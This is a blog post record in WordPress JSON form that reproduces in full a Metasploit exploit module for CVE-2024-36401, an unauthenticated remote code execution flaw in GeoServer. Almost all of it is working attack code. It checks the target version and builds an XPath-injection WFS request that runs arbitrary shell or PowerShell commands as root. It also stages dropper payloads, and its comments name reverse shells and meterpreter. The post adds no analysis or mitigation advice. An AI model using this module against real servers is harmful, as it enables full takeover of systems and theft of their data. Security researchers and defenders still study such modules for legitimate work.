{"id":58192,"date":"2024-07-15T23:49:32","date_gmt":"2024-07-15T20:49:32","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179547\/geoserver_unauth_rce_cve_2024_36401.rb.txt"},"modified":"2024-07-15T23:49:32","modified_gmt":"2024-07-15T20:49:32","slug":"geoserver-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/geoserver-unauthenticated-remote-code-execution\/","title":{"rendered":"Geoserver Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Geoserver unauthenticated Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>GeoServer is an open-source software server written in Java that provides<br \/>the ability to view, edit, and share geospatial data.<br \/>It is designed to be a flexible, efficient solution for distributing geospatial data<br \/>from a variety of sources such as Geographic Information System (GIS) databases,<br \/>web-based data, and personal datasets.<br \/>In the GeoServer versions &lt; 2.23.6, &gt;= 2.24.0, &lt; 2.24.4 and &gt;= 2.25.0, &lt; 2.25.1,<br \/>multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users<br \/>through specially crafted input against a default GeoServer installation due to unsafely<br \/>evaluating property names as XPath expressions.<br \/>An attacker can abuse this by sending a POST request with a malicious xpath expression<br \/>to execute arbitrary commands as root on the system.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die-gr3y &lt;h00die.gr3y[at]gmail.com&gt;&#8217;, # MSF module contributor<br \/>&#8216;jheysel-r7&#8217;, # MSF module Windows support<br \/>&#8216;Steve Ikeoka&#8217; # Discovery<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-36401&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/geoserver\/geoserver\/security\/advisories\/GHSA-6jj6-gm7p-fcvv&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/vulhub\/vulhub\/tree\/master\/geoserver\/CVE-2024-36401&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/W6IDY2mmp9\/cve-2024-36401&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-07-01&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_cmd<br \/># Tested with cmd\/unix\/reverse_bash<br \/>}<br \/>],<br \/>[<br \/>&#8216;Linux Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],<br \/>&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>&#8216;Linemax&#8217; =&gt; 16384,<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; [&#8216;curl&#8217;, &#8216;wget&#8217;, &#8216;echo&#8217;, &#8216;printf&#8217;, &#8216;bourne&#8217;]# Tested with linux\/x64\/meterpreter_reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;Windows&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :win_cmd<br \/># Tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;RPORT&#8217; =&gt; 8080,<br \/>&#8216;SSL&#8217; =&gt; false<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI path of the OpenMediaVault web application&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check_version<br \/>print_status(&#8216;Trying to detect if target is running a vulnerable version of GeoServer.&#8217;)<br \/>res = send_request_cgi!({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;geoserver&#8217;, &#8216;web&#8217;, &#8216;wicket&#8217;, &#8216;bookmarkable&#8217;, &#8216;org.geoserver.web.AboutGeoServerPage&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<br \/>return nil unless res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?(&#8216;GeoServer Version&#8217;)<\/p>\n<p>html = res.get_html_document<br \/>unless html.blank?<br \/># html identifier for Geoserver version information: &lt;span id=&#8221;version&#8221;&gt;2.23.2&lt;\/span&gt;<br \/>version = html.css(&#8216;span[id=&#8221;version&#8221;]&#8217;)<br \/>return Rex::Version.new(version[0].text) unless version[0].nil?<br \/>end<br \/>nil<br \/>end<\/p>\n<p>def get_valid_featuretype<br \/>allowed_feature_types = [&#8216;sf:archsites&#8217;, &#8216;sf:bugsites&#8217;, &#8216;sf:restricted&#8217;, &#8216;sf:roads&#8217;, &#8216;sf:streams&#8217;, &#8216;ne:boundary_lines&#8217;, &#8216;ne:coastlines&#8217;, &#8216;ne:countries&#8217;, &#8216;ne:disputed_areas&#8217;, &#8216;ne:populated_places&#8217;]res = send_request_cgi!({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;geoserver&#8217;, &#8216;wfs&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/xml&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;request&#8217; =&gt; &#8216;ListStoredQueries&#8217;,<br \/>&#8216;service&#8217; =&gt; &#8216;wfs&#8217;<br \/>}<br \/>})<br \/>return nil unless res &amp;&amp; res.code == 200 &amp;&amp; res.body.include?(&#8216;ListStoredQueriesResponse&#8217;)<\/p>\n<p>xml = res.get_xml_document<br \/>unless xml.blank?<br \/>xml.remove_namespaces!<br \/># get all the FeatureTypes and store them in an array of strings<br \/>retrieved_feature_types = xml.xpath(&#8216;\/\/ReturnFeatureType&#8217;)<br \/># shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer<br \/># return the feature type if a match is found in the allowed_feature_types array<br \/>retrieved_feature_types.to_a.shuffle.each do |feature_type|<br \/>return feature_type.text if allowed_feature_types.include?(feature_type.text)<br \/>end<br \/>end<br \/>nil<br \/>end<\/p>\n<p>def create_payload(cmd)<br \/># get a valid feature type and fail back to a default if not successful<br \/>feature_type = get_valid_featuretype<br \/>feature_type = &#8216;sf:archsites&#8217; if feature_type.nil?<\/p>\n<p>case target[&#8216;Type&#8217;]when :unix_cmd || :linux_dropper<br \/># create customised b64 encoded payload<br \/># &#8216;Encoder&#8217; =&gt; &#8216;cmd\/base64&#8217; does not work in this particular use case<br \/>cmd_b64 = Base64.strict_encode64(cmd)<br \/>cmd = &#8220;sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh&#8221;<br \/>when :win_cmd<br \/>enc_cmd = Base64.strict_encode64(&#8220;cmd \/C &#8211;% #{payload.encoded}&#8221;.encode(&#8216;UTF-16LE&#8217;))<br \/>cmd = &#8220;powershell.exe -e #{enc_cmd}&#8221;<br \/>end<\/p>\n<p>return &lt;&lt;~EOS<br \/>&lt;wfs:GetPropertyValue service=&#8217;WFS&#8217; version=&#8217;2.0.0&#8242;<br \/>xmlns:topp=&#8217;http:\/\/www.openplans.org\/topp&#8217;<br \/>xmlns:fes=&#8217;http:\/\/www.opengis.net\/fes\/2.0&#8242;<br \/>xmlns:wfs=&#8217;http:\/\/www.opengis.net\/wfs\/2.0&#8242;&gt;<br \/>&lt;wfs:Query typeNames=&#8221;#{feature_type}&#8221;\/&gt;<br \/>&lt;wfs:valueReference&gt;exec(java.lang.Runtime.getRuntime(), &#8220;#{cmd}&#8221;)&lt;\/wfs:valueReference&gt;<br \/>&lt;\/wfs:GetPropertyValue&gt;<br \/>EOS<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;geoserver&#8217;, &#8216;wfs&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/xml&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;data&#8217; =&gt; create_payload(cmd)<br \/>})<br \/>fail_with(Failure::PayloadFailed, &#8216;Payload execution failed.&#8217;) unless res &amp;&amp; res.code == 400 &amp;&amp; res.body.include?(&#8216;ClassCastException&#8217;)<br \/>end<\/p>\n<p>def check<br \/>version_number = check_version<br \/>return CheckCode::Unknown(&#8216;Could not retrieve the version information.&#8217;) if version_number.nil?<br \/>return CheckCode::Appears(&#8220;Version #{version_number}&#8221;) if version_number.between?(Rex::Version.new(&#8216;2.25.0&#8217;), Rex::Version.new(&#8216;2.25.1&#8217;)) || version_number.between?(Rex::Version.new(&#8216;2.24.0&#8217;), Rex::Version.new(&#8216;2.24.3&#8217;)) || version_number &lt; Rex::Version.new(&#8216;2.23.6&#8217;)<\/p>\n<p>CheckCode::Safe(&#8220;Version #{version_number}&#8221;)<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<\/p>\n<p>case target[&#8216;Type&#8217;]when :unix_cmd, :win_cmd<br \/>execute_command(payload.encoded)<br \/>when :linux_dropper<br \/># don&#8217;t check the response here since the server won&#8217;t respond<br \/># if the payload is successfully executed.<br \/>execute_cmdstager({ linemax: target.opts[&#8216;Linemax&#8217;] })<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRankingprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStager def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Geoserver unauthenticated Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{GeoServer is an open-source software server written in Java that providesthe ability to view, edit, and share geospatial data.It is designed to be a flexible, efficient &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58192","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58192","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58192"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58192\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58192"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58192"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58192"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}